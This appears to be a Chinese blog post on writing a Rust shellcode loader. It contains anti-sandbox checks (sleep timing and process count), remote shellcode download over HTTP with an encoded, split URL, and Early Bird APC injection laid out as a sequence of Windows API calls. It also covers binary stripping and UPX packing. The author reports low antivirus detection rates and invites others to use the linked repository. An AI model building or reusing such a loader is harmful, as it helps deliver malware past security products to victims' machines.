Rust远程加载shellcode
学习rust, 练习写一个loader, 不足之处还请指教
编写
隐藏黑框
在注释掉所有打印语句后编译运行还是会弹黑框, 解决方法是头部添加一行(指定 Rust 编译器生成的可执行文件为 Windows 子系统应用程序,而不是控制台应用程序):
#![windows_subsystem = "windows"]
反沙箱
流速检测
pub fn ft() {
use std::time::{Duration, Instant};
use std::thread::sleep;
let start_time = Instant::now();
sleep(Duration::from_millis(5000));
let elapsed_time = start_time.elapsed();
if elapsed_time.as_millis() < 5000 {
std::process::exit(1);
}
}
检查进程数
pub fn pc() {
let mut system = System::new_all();
system.refresh_all();
let process_count = system.processes().len();
if process_count <= 50 {
std::process::exit(1);
}
}
网络请求
使用轻量级的HTTP库ureq, 示例如下:
use ureq;
fn main() {
let response = ureq::get("https://example.com/file.zip")
.call()
.expect("Failed to make request");
if response.status() == 200 {
let content = response.into_string().expect("Failed to read response");
println!("Downloaded file: {}", content);
} else {
eprintln!("Failed to download file, status code: {}", response.status());
}
}
不要直接硬编码url在代码中,然后就用管用伎俩简单编码一下,但是一整个解码使用居然不成, 问gpt说可能产生了不可见字符
拆成protocol,host, port, pattern后解码组合就可以正常读取了, DIE中也没有检出(这个patcher还是要处理一下)
加载shellcode
这里我没有对shellcode进行任何处理, 获取之后直接使用Early Bird进行注入, 简述一下过程:
- 使用
CreateProcessA 创建一个进程。 - 使用
VirtualAllocEx 在目标进程中分配远程内存。 - 使用
WriteProcessMemory 将 SHELLCODE 复制到已分配的内存中。 - 使用
VirtualProtectEx 更改内存权限为可执行。 - 使用
QueueUserAPC 执行进程。 - 使用
ResumeThread 恢复进程的线程。 - 使用
CloseHandle 关闭已打开的句柄。
对于错误处理一律退出不使用panic, 可以在代码中细看。
编译优化
为了缩小体积, 在_config.yml中添加
[profile.release]
# 设置为1个块最大化优化,但时间会更长
codegen-units = 1
# 设置为s时,编译器会优先考虑生成最小的二进制文件大小,同时保持合理的性能
opt-level = "s"
# 链接时优化,可以显著减小二进制文件的大小,并提高性能
lto = true
# 禁止符号表和调试
debug = false
# 剥离调试信息
strip = true
# 崩溃时不希望看到调试信息
panic = "abort"
另外使用压缩库miniz_oxide,添加上依赖:
[dependencies]
miniz_oxide = "0.5"
最后使用release 通用发布:
cargo build --release
使用cargo-strip在构建后剥离二进制文件中的调试信息和其他不必要的数据。
cargo install cargo-strip
cargo strip -t target/release/RustLoader.exe
此时大小基本为1.5MB, 也可以继续upx压缩(patcher要注意处理一下), 之后按需加资源
upx -9 --best --force target/release/RustLoader.exe
免杀效果
添加反沙箱后, 无法在虚拟机中测试, 以下测试均使用直接生成的产物(不使用upx, upx-patcher, 反沙箱), 截止测试之时:
微步检出率为1/28
火绒
腾讯电脑管家
360
defender
如果觉得可以欢迎star一起交流~ : 传送门
Rust远程加载shellcode的更多相关文章
- 00-DLL劫持&C语言远程加载shellcode
0x01 杀软拦截检测规则引导-DLL劫持上线 准备工具 cs vs2019 dll劫持工具:https://bbs.pediy.com/thread-224408.htm 极速PDF:https:/ ...
- 动态加载 ShellCode绕过杀软
反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...
- 免杀之:Python加载shellcode免杀
免杀之:Python加载shellcode免杀 目录 免杀之:Python加载shellcode免杀 1 Python 加载Shellcode免杀 使用Python可以做一些加密.混淆,但使用Pyth ...
- 在Unity中创建可远程加载的.unity3d包
在一个Unity项目中,发布包本身不一定要包括所有的Asset(译为资产或组件),其它的部分可以单独发布为.unity3d,再由程序从本地/远程加载执行,这部分不在本文讨论范围.虽然Unity并没有直 ...
- Ext2.0之Tabpanel AJAX远程加载多标签页面模式开发技巧
目前开发的方式是采用远程load页面来实现多页面效果,类似于126邮箱多标签页效果.但是比126邮箱的方式更好,因为页面打开后是load到本地的,126似乎还会重新请求.在近期项目该开发方式已经基本成 ...
- CSS远程加载字体
CSS 远程加载字体的方法,做网站CSS的都知道,用户浏览网站时,网页上的字体是加载本地的.换言之,如果网站使用了用户电脑所没有安装的字体,那显示字体就会被默认字体所代替了,自然效果就大受影响了. 上 ...
- bootstrap模态框远程加载网页的正确处理方式
bootstrap模态框远程加载网页的方法 在bootsrap模态框文档里给出了这个方法: 使用链接模式 <a data-toggle="modal" href=" ...
- Bootstrap Modal 使用remote从远程加载内容
Bootstrap的Modal这个模态窗组件还是很好用的,但在开发的过程中模态窗中的内容大部分都是从后端加载的.要实现模态窗的内容是从后端加载话,常用的实现方式有2种.它们是: (1) ...
- Python内存加载shellcode
生成 首先生成一个测试的msf shellcode msfvenom -p windows/x64/exec CMD=calc.exe -f python 把其中的shellcode复制出来留待待会使 ...
- 钓鱼攻击之远程加载恶意Word模版文件上线CS
0x00 前言 利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器请求恶意模板并执行恶意模板上的恶意代码.这里 ...
随机推荐
- 乐观锁CAS
在 Java 中,我们可以使用 synchronized 关键字和 CAS 来实现加锁效果. 悲观锁: 对于悲观锁来说,它总是认为每次访问共享资源时会发生冲突,所以必须对每次数据操作加上锁,以保证临界 ...
- 【FAQ】HarmonyOS SDK 闭源开放能力 —IAP Kit(3)
1.问题描述: 已经购买订阅型物品,未调用finishPurchase接口, 重新购买该物品,createPurchase接口返回的是001860001错误:System internal error ...
- Edge缓存清理操作说明
1. 打开Edge浏览器 2. 点击屏幕右上角三个点的按钮 3. 在出现的菜单里面选择"设置" 4. 在出现页面里面左侧选择"隐私.搜索和服务",然后右侧点击& ...
- Java常见面试真题之中级进阶(List篇)
前言 本来想着给自己放松一下,刷刷博客,突然被几道面试题难倒!获取一个类Class对象的方式有哪些?ArrayList 和 LinkedList 的区别有哪些?用过 ArrayList 吗?说一下它有 ...
- github加速 DevSidecar 1.8.8
DevSidecar 1.8.8 更多配置请参考:github开源
- apache2和nginx卸载总是不干净不完全导致无法重装,重装成功也无法启动
大着胆子把nginx卸载了用的命令是 sudo apt remove nginx 结果最后不知道怎么折腾的就算重新装也装不上了,然后就转头折腾apache2,也卸载了 sudo apt remov ...
- Django3.0
Django3.0 简介 Django 最初被设计用于具有快速开发需求的新闻类站点,目的是要实现简单快捷的网站开发.以下内容简要介绍了如何使用 Django 实现一个数据库驱动的 Web 应用. Dj ...
- 外网如何通过https访问自己的服务
前情提要 最近在接wx小游戏的sdk, 消息推送需要在wx端配置https开头的地址. 我本地开了一个http服务,我的ip为192.168.40.39, 监听端口 8091.想要达到的效果是,外部浏 ...
- Solr Facet技术的应用与研究
http://tech.meituan.com/solr-facet.html 问题背景 在 <搜索引擎关键字智能提示的一种实现> 一文中介绍过,美团的CRM系统负责管理销售人员的门店 ...
- Redis之过期删除侧率
Redis 中 key 的过期删除策略 内存碎片如何产生 碎片率的意义 如何清理内存碎片 内存淘汰触发的最大内存 有哪些内存淘汰策略 内存淘汰算法 LRU LFU 1.定时删除 2.惰性删除 3.定期 ...